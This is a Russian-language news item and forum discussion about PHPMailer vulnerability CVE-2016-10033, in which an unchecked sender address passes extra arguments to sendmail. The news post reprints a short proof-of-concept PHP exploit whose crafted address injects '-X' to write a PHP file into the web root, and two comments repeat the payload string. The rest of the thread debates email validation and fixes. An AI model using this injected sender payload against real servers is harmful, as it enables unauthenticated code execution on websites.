The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Изначальное сообщение [ Отслеживать ]

"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."  +/
Сообщение от opennews (??), 27-Дек-16, 21:19 
В PHPMailer (https://github.com/PHPMailer/PHPMailer), популярной библиотеке для организации отправки электронный писем из приложений на языке PHP, число пользователей которой оценивается в 9 миллионов, обнаружена (https://legalhackers.com/advisories/PHPMailer-Exploit-Remote... критическая уязвимость (CVE-2016-10033 (https://security-tracker.debian.org/tracker/CVE-2016-10033)), позволяющая инициировать удаленное выполнение кода без прохождения аутентификации.


Проблема аналогична недавно найденной (https://www.opennet.ru/opennews/art.shtml?num=45643) уязвимости в Roundcube Webmail и также связана с небезопасным использованием PHP-функции mail() совместно с  утилитой sendmail в качестве транспорта по умолчанию. Отсутствие (https://github.com/PHPMailer/PHPMailer/commit/4835657cd639fb... должной проверки и чистки параметра "Sender", позволяет организовать передачу утилите sendmail произвольных аргументов командной строки, в том числе можно переопределить директорию очереди и файл с логом, что позволяет  организовать запись сообщения в произвольный файл в локальной ФС на сервере с правами под готовыми запускается PHP-приложение.


Например, возможность записи кода в файл /var/www/cache/phpcode.php в качестве отправителя можно указать '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com', что демонстрирует следующий прототип эксплоита (https://legalhackers.com/exploits/CVE-2016-10033/PHPMailer-R... (опция "-X/var/www/cache/phpcode.php" приведёт к созданию лога /var/www/cache/phpcode.php в который будет записано тело сообщения):

   $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
   $msg_body  = "{?php phpinfo(); ?}";

   require_once('class.phpmailer.php');
   $mail = new PHPMailer();

   $mail->SetFrom($email_from, 'Client Name');

   $address = "customer_feedback@company-X.com";
   $mail->AddAddress($address, "Some User");

   $mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
   $mail->MsgHTML($msg_body);

   if(!$mail->Send()) {
     echo "Mailer Error: " . $mail->ErrorInfo;
   } else {
     echo "Message sent!\n";
   }
    

Проблема устранена в PHPMailer 5.2.18 (https://github.com/PHPMailer/PHPMailer/releases/tag/v5.2.18), все более ранние выпуски подвержены уязвимости. Дистрибутивы пока не выпустили обновления пакетов: Debian (https://security-tracker.debian.org/tracker/CVE-2016-10033), RHEL/CentOS (https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-10033), Fedora (https://bodhi.fedoraproject.org/updates/?releases=F25&type=s... Ubuntu (https://www.ubuntu.com/usn/), SUSE (https://bugzilla.novell.com/show_bug.cgi?id=CVE-2016-10033), openSUSE (https://lists.opensuse.org/opensuse-security-announce/2016-12/). Проблема проявляется при использовании настроек по умолчанию: отключен safe_mode, а для отправки используется PHP-функция mail() и утилита sendmail.


Уязвимость усугубляется тем, что PHPMailer применяется во многих популярных продуктах для Web, в том числе в WordPress, Drupal, Joomla и сотнях других проектов (https://github.com/search?q=class.phpmailer.php&type=Code) (уязвимы или нет данные системы зависит от того, насколько качественно в них реализованы дополнительные проверки email-адресов перед отправкой сообщений и используются ли настройки PHPMailer по умолчанию).


URL: http://openwall.com/lists/oss-security/2016/12/27/5
Новость: http://www.opennet.ru/opennews/art.shtml?num=45774

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения [Сортировка по ответам | RSS]

1. Сообщение от Аноним (-), 27-Дек-16, 21:19   +3 +/
php головного мозга
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #2, #16, #44

2. Сообщение от A.Stahl (ok), 27-Дек-16, 21:26   +6 +/
Зато они не боятся malloc/free и от чего там ещё падают в обморок Явисты-Питонисты?
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #3, #10, #30

3. Сообщение от Куяврег (?), 27-Дек-16, 21:44   +21 +/
да они вообще нихрена не боятся. отчаянные люди...
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2

4. Сообщение от burik666email (ok), 27-Дек-16, 21:46   +/
Это тоже самое что и http://www.opennet.ru/opennews/art.shtml?num=45643
Ответить | Правка | Наверх | Cообщить модератору

5. Сообщение от Аноним (-), 27-Дек-16, 21:50   –2 +/
В комментарии к прошлой новости я ссылки кидал https://www.opennet.ru/openforum/vsluhforumID3/109851.html#2 на то, что на GitHub полно проектов с подобными уязвимостями.

PHPMailer превзошёл мои ожидания. Использование сторонних типовых библиотек страшное зло, хуже которого только передавать в них непочищенные параметры, полагаясь, что библиотека сама вилидность проверит.

PS. Сейчас понимаю, что был прав, всегда проверяя по [\w\d\_\-\.]+\@[\w\d\-\.]+ не пропуская пробелы и кавычки. Не совсем по RFC, но без почты бухгалтеров и спамеров можно обойтись :-)

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #17

6. Сообщение от th3m3 (ok), 27-Дек-16, 22:18   –6 +/
>>WordPress, Drupal и Joomla

Пользователи всякого устаревшего php-хлама - должны страдать.

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #7, #22, #45

7. Сообщение от Аноним (-), 27-Дек-16, 22:29   +1 +/
Не пользователи, а заказчики. WP еще долго будет царствовать в клозетах и головах. Ибо "дёшева".
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6

8. Сообщение от Michael Shigorinemail (ok), 27-Дек-16, 22:39   –4 +/
К слову о статической линковке...

PS: к TYPO3 кто-то лет десять тому сделал плагин с этой штукой и через годик забросил, по счастью: https://typo3.org/extensions/repository/view/bb_phpmailer

Ответить | Правка | Наверх | Cообщить модератору

9. Сообщение от uldus (ok), 27-Дек-16, 22:56   +1 +/
Этим не ограничится, PHPMailer жуткий комбайн в котором встроен SMTP-сервер, система массовой рассылки, NTLM, CRAM-MD5, XOAUTH2, TLS, DKIM и S/MIME.

И что-то мне кажется, что и эту дыру не до конца поправили. Там ниже по коду при пустом $this->Sender выставляется $smtp_from = $this->From без обёртки $this->validateAddress(), которую добавили для $this->Sender.

Ответить | Правка | Наверх | Cообщить модератору

10. Сообщение от Alex (??), 27-Дек-16, 23:01   +4 +/
Xex, malloc/free актуально для С, так что этого стоит бояться в том числе пользователям интерпретатора PHP, тем более что кажется он написан весьма чудаковато, периодически оскаливаясь различным уязвимостями, связанными с неправильным парсингом аргументов и т.п.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2

13. Сообщение от Аноним (-), 28-Дек-16, 00:02   +1 +/
Marcus Bointon & PHP - sucks
Ответить | Правка | Наверх | Cообщить модератору

14. Сообщение от Gemorroj (ok), 28-Дек-16, 00:15   +2 +/
хорошая либа, кстати.
а по поводу уязвимости - таких вагон где угодно. просто в силу популярности проектов на php о них громче новости.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #32

16. Сообщение от stomper (?), 28-Дек-16, 01:08   +4 +/
> php головного мозга

Не важно, на каком языке ты говоришь, аноНЯшка. Важно насколько правильно и однозначно понимает тебя собеседник.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1

17. Сообщение от Sw00p_aka_Jerom (ok), 28-Дек-16, 02:24   +2 +/
юзать стороние пхп скрипты да ещё с такими сомнительными функциями как exec, system и тд. - маразм.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #5 Ответы: #20

20. Сообщение от Аноним (-), 28-Дек-16, 04:53   +1 +/
Ждем когда эти девы выпилят exec, system и прицепят нормальный интерфейс сборки запросов на выполнения с экранированием для макак
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #17 Ответы: #37, #39

22. Сообщение от Аноним (-), 28-Дек-16, 07:12   +3 +/
Drupal с многомиллионными инвестициями и огромным сообществом крутых разрабов смотрит и смеется. Ты бы свой не хлам показал, эксперт.

Чего не скажешь о WP, там вообще ужас, один в wp-login.php чего стоит. Такая то помойка кода без единого стиля кода и php код вперемешку с js и html.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6 Ответы: #46, #60

23. Сообщение от KonstantinB (ok), 28-Дек-16, 07:20   +1 +/
Еще надо найти жертву с настоящим сендмейлом, что непросто. Все известные мне mta (кроме самого sendmail) игнорируют -X (и правильно делают).

Или придумать другой способ эксплуатации, но лично мне ничего в голову не приходит.

Ответить | Правка | Наверх | Cообщить модератору

24. Сообщение от KonstantinB (ok), 28-Дек-16, 07:27   +/
Кстати, в php-шном же SwiftMailer аналогичную уязвимость исправили 2.5 года назад.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #25

25. Сообщение от Аноним (-), 28-Дек-16, 08:20   +/
> аналогичную уязвимость исправили 2.5 года назад

Исправили?! Напишут новую!!!

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #24 Ответы: #26, #54

26. Сообщение от KonstantinB (ok), 28-Дек-16, 08:32   +1 +/
Я к тому, что это, похоже, общее уязвимое место - и не только для php. Да и правда, легко ошибиться, забыв о том, что email, прошедший валидацию, вполне может содержать валидную quoted string - это необычно, и таких адресов никто почти и не видел, но, тем не менее, они валидны.

Так что имеет смысл проверить те библиотеки, которыми вы пользуетесь.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25

28. Сообщение от Аноним (-), 28-Дек-16, 08:40   +/
Это в каком проекте нет валидации email ???
Или это валидный email ???

"Attacker \" -Param2 -Param3"@test.com


Не видел ни одного проекта на php без валидации email  - проблема из пальца высосана...

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #29

29. Сообщение от Аноним (-), 28-Дек-16, 08:53   +2 +/
Это валидный EMail. RFC допускает использование пробелов при выделении кавычками.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #28 Ответы: #33, #47

30. Сообщение от qsdg (ok), 28-Дек-16, 09:06   –2 +/
Где в Java malloc/free? O_O
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #2 Ответы: #42

31. Сообщение от Sylvia (ok), 28-Дек-16, 09:11   +1 +/
>Уязвимости присвоен наивысший (Highly Critical) уровень опасности.

для WordPress приоритет на тикет поставил абсолютно левый человек зарегистрировавшийся только вчера. Не надо выдавать это за официальную позицию пожалуйста.

Ответить | Правка | Наверх | Cообщить модератору

32. Сообщение от Аноним (-), 28-Дек-16, 10:00   +1 +/
Пути пхпистов неисповедимы, да.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #14

33. Сообщение от KonstantinB (ok), 28-Дек-16, 10:14   +1 +/
Ага. Можно сделать себе емейл типа "(),:; \"<>["@domain.tld и троллить всех багрепортами. :-)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #29

34. Сообщение от arnold (?), 28-Дек-16, 12:28   +/
Сссылка "сотнях других проектов" ничего не находит.
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #40

35. Сообщение от Fantomas (??), 28-Дек-16, 12:41   +/
Да забейте на эту уязвимость, исправят - обновим.
Ответить | Правка | Наверх | Cообщить модератору

36. Сообщение от Square1 (?), 28-Дек-16, 13:13   +1 +/
проверил на нескольких платформах (включая джумлу) - ругается на невалидный эмейл.
Ответить | Правка | Наверх | Cообщить модератору

37. Сообщение от Sw00p_aka_Jerom (ok), 28-Дек-16, 13:41   +1 +/
Так суть не в выпиливании, а в правильном использовании, а из ваших слов ввходит, что интерфейсы созданы именно для макак
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #20

38. Сообщение от Аноним (-), 28-Дек-16, 13:51   +3 +/
брейкинньюс просто, опции -X сто лет в обед, пруф сейчас не найду, но этим хекали ещё очень давно, после чего собственно нормальные люди вырубили -X

что касается phpmailer, то он используется как либа для отправки, и ей плевать какой емейл передают(не хорошо конечно, но логично), если приложение не может нормально отвалидировать email(пробелы/бекслеши -_-) и юзает phpmailer то уж извините
желтизна, большинство cms просто не пропустят такой мыльник

Ответить | Правка | Наверх | Cообщить модератору
Ответы: #49

39. Сообщение от KonstantinB (ok), 28-Дек-16, 14:10   –1 +/
Выпиливать возможность прямого системного вызова - это как раз для макак.

А обертку с плейсхолдерами я себе лет 10 назад написал, там писать-то 5 строчек.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #20

40. Сообщение от google (??), 28-Дек-16, 14:20   –1 +/
потому что никто не пользуется этим овном
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #34

42. Сообщение от Аноним (-), 28-Дек-16, 14:59   +/
> Где в Java malloc/free? O_O

Где, где... Внутри! То, что Вы его в тексте программы не видите, абсолютно не значит, что оно не исполняется.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #30 Ответы: #59

44. Сообщение от Аноним (-), 28-Дек-16, 16:58   +/
что php головного мозга?

во первых нужно всегда фильтровать пользовательский ввод данных

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
выдаст false - и скрипт киди обломается

во вторых - это уязвимость sendmail а не php

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #1 Ответы: #52, #53

45. Сообщение от Аноним (-), 28-Дек-16, 17:03   +/
клоун - посмотри требования на https://wordpress.org/about/requirements/
php 7 или выше

обновил ПО на серваках или
поменял отправку на через smtp и нет проблем.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #6 Ответы: #61

46. Сообщение от Аноним (-), 28-Дек-16, 17:08   –2 +/
сразу виден икспертный специалист в этом деле. который написал целых пару сайтов на WordPress - скачивав и устанавив пачку гов-ноплагинов.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #22 Ответы: #58

47. Сообщение от Аноним (-), 28-Дек-16, 17:11   +/
с какого перепугу валидный?

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
выдаст false

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #29 Ответы: #48

48. Сообщение от Аноним84701 (ok), 28-Дек-16, 17:28   +1 +/
> с какого перепугу валидный?
> $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
> var_dump(filter_var($email_from, FILTER_VALIDATE_EMAIL));
> выдаст false

С такого, что валидность обычно таки определяетcя "общепризнанным" RFC, а не конкретной реализацией, не имеющей к этому самому RFC никакого отношения.

Да и в доке вроде как говорится о
http://php.net/manual/en/filter.filters.validate.php
> http://php.net/manual/en/filter.filters.validate.php
> his validates e-mail addresses against the syntax in RFC 822, -->with the exceptions<-- that comments and whitespace folding and dotless domain names are not supported.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #47

49. Сообщение от Аноним (-), 28-Дек-16, 18:58   +/
> может нормально отвалидировать email(пробелы/бекслеши -_-) и юзает phpmailer то уж извините

Во-первых, phpmailer сам предоставляет средства валидации email (PHPMailer::validateAddress()), которые и используются в CMS.

Во-вторых, пробелы и кавычки входят в число допустимых символов в соответствии с RFC 3696, т.е. "test with spaces"@email.com считается корректным.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #38 Ответы: #50

50. Сообщение от Аноним (-), 28-Дек-16, 21:57   –1 +/
вот из за таких как ты, которые реальность от жопы отличить не могут, такое и случается
когда спецификация почты была создана? бл**ь как фреймворки на js дак вы каждый день пишите, а то что тут 20 лет прошло, головой думать учиться учиться
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #49 Ответы: #55

51. Сообщение от Аноним (-), 29-Дек-16, 00:41   +/
Там полный кабздец с самим php
https://gist.github.com/Zenexer/40d02da5e07f151adeaeeaa11af9...
https://github.com/PHPMailer/PHPMailer/pull/930
Ответить | Правка | Наверх | Cообщить модератору

52. Сообщение от Аноним (-), 29-Дек-16, 03:26   +/
Ну для дураков да, но там 4 кейса включая режим "safe mode" и даже это можно обойти с Windows платформы, пример ядру пыхапэ
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #44

53. Сообщение от Аноним (-), 29-Дек-16, 03:28   +2 +/
> во первых нужно всегда фильтровать пользовательский ввод данных

Фильтрацию можно обойти другой фильтрацией.

P.S. Мы не говорим про ваш местечковый юзеркейс в хлеву.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #44

54. Сообщение от KonstantinB (ok), 29-Дек-16, 07:49   +/
Хех. Написали. Точнее, в тот раз исправили аналогичную, но в sendmail-транспорте, а в mail-транспорте-то и не поправили :-)

https://legalhackers.com/advisories/SwiftMailer-Exploit-Remo...

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #25

55. Сообщение от Аноним (-), 29-Дек-16, 08:07   +/
> когда спецификация почты была создана?

https://tools.ietf.org/html/rfc3696 создан в 2004 году и как раз отражает современные реалии. То что вы на стандарты предлагайте плевать в угоду вашему личному мировосприятию чести вам не делает.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #50

56. Сообщение от Аноним (-), 29-Дек-16, 08:15   +/
Ответте, плиз, как обновить phpmailer и проверить установленную версию. Саппорт говорит, что это 10 долларов в час будет стоить
Ответить | Правка | Наверх | Cообщить модератору
Ответы: #57

57. Сообщение от Аноним (-), 29-Дек-16, 08:54   –1 +/
На подходе еще 2 CVE готовь еще денег)
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #56

58. Сообщение от YCA4email (ok), 29-Дек-16, 09:06   +2 +/
Это лишь файл wp-login.php из ядра.

https://github.com/WordPress/WordPress/blob/master/wp-login....
https://github.com/WordPress/WordPress/blob/master/wp-login....
https://github.com/WordPress/WordPress/blob/master/wp-login....
https://github.com/WordPress/WordPress/blob/master/wp-login....
https://github.com/WordPress/WordPress/blob/master/wp-login....

И дальше. Весь файл просто помойка и говнокод.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #46

59. Сообщение от xz (??), 29-Дек-16, 11:25   +/
> Где, где... Внутри! То, что Вы его в тексте программы не видите,
> абсолютно не значит, что оно не исполняется.

откуда он там возьмется, при живом то GC?

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #42

60. Сообщение от th3m3 (ok), 07-Янв-17, 14:22   +/
Столько денег вбухали в Drupal, а он как был УГ на php, так и остался. Могли бы уж переписать на чём-то более адекватном.

Wordpress - тоже чудо УГ-кодинга, тоже php. Тоже нафиг.

Ответить | Правка | Наверх | Cообщить модератору
Родитель: #22

61. Сообщение от th3m3 (ok), 07-Янв-17, 14:24   +/
А ещё можно сразу использовать что-то более адекватное и современное.
Ответить | Правка | Наверх | Cообщить модератору
Родитель: #45


Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру